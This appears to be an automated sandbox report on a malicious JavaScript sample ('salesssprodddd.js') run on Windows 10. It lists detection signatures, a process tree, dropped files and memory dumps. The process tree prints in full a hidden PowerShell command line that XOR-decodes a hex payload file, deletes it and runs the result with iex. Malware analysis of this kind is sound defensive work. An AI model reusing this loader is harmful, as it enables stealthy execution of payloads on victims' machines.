Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
03/07/2026, 02:46
General
- Target salesssprodddd.js
- Size 1.3MB
- Sample260703-c9s8jsft6p
- SHA256 cc224698314418f3bfdf0880d76caf9367ecb78fda72867e9f3e68481739b5bd
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\salesssprodddd.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\run_15410_68e2').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\run_15410_68e2' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q00r1rfo\q00r1rfo.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FD5.tmp" "c:\Users\Admin\AppData\Local\Temp\q00r1rfo\CSCB3A1AD25FD16423FB8F4CE72E9AEE6DB.TMP"4⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
RES9FD5.tmp
__PSScriptPolicyTest_o0kgqhnq.ncr.ps1
q00r1rfo.dll
run_15410_68e2
CSCB3A1AD25FD16423FB8F4CE72E9AEE6DB.TMP
q00r1rfo.0.cs
q00r1rfo.cmdline
memory/884-7-0x0000000006250000-0x00000000062B6000-memory.dmp
memory/884-23-0x0000000008D60000-0x00000000093DA000-memory.dmp
memory/884-16-0x0000000006890000-0x00000000068AE000-memory.dmp
memory/884-17-0x00000000068E0000-0x000000000692C000-memory.dmp
memory/884-1-0x0000000005440000-0x0000000005450000-memory.dmp
memory/884-19-0x00000000078C0000-0x0000000007956000-memory.dmp
memory/884-20-0x0000000006DC0000-0x0000000006DDA000-memory.dmp
memory/884-21-0x0000000006E30000-0x0000000006E52000-memory.dmp
memory/884-22-0x0000000008130000-0x00000000086D4000-memory.dmp
memory/884-15-0x0000000006410000-0x0000000006764000-memory.dmp
memory/884-6-0x00000000061E0000-0x0000000006246000-memory.dmp
memory/884-5-0x00000000059D0000-0x00000000059F2000-memory.dmp
memory/884-4-0x0000000005A80000-0x00000000060A8000-memory.dmp
memory/884-3-0x0000000005440000-0x0000000005450000-memory.dmp
memory/884-36-0x0000000007D10000-0x0000000007D18000-memory.dmp
memory/884-2-0x00000000032B0000-0x00000000032E6000-memory.dmp
memory/4304-37-0x0000000000400000-0x0000000000446000-memory.dmp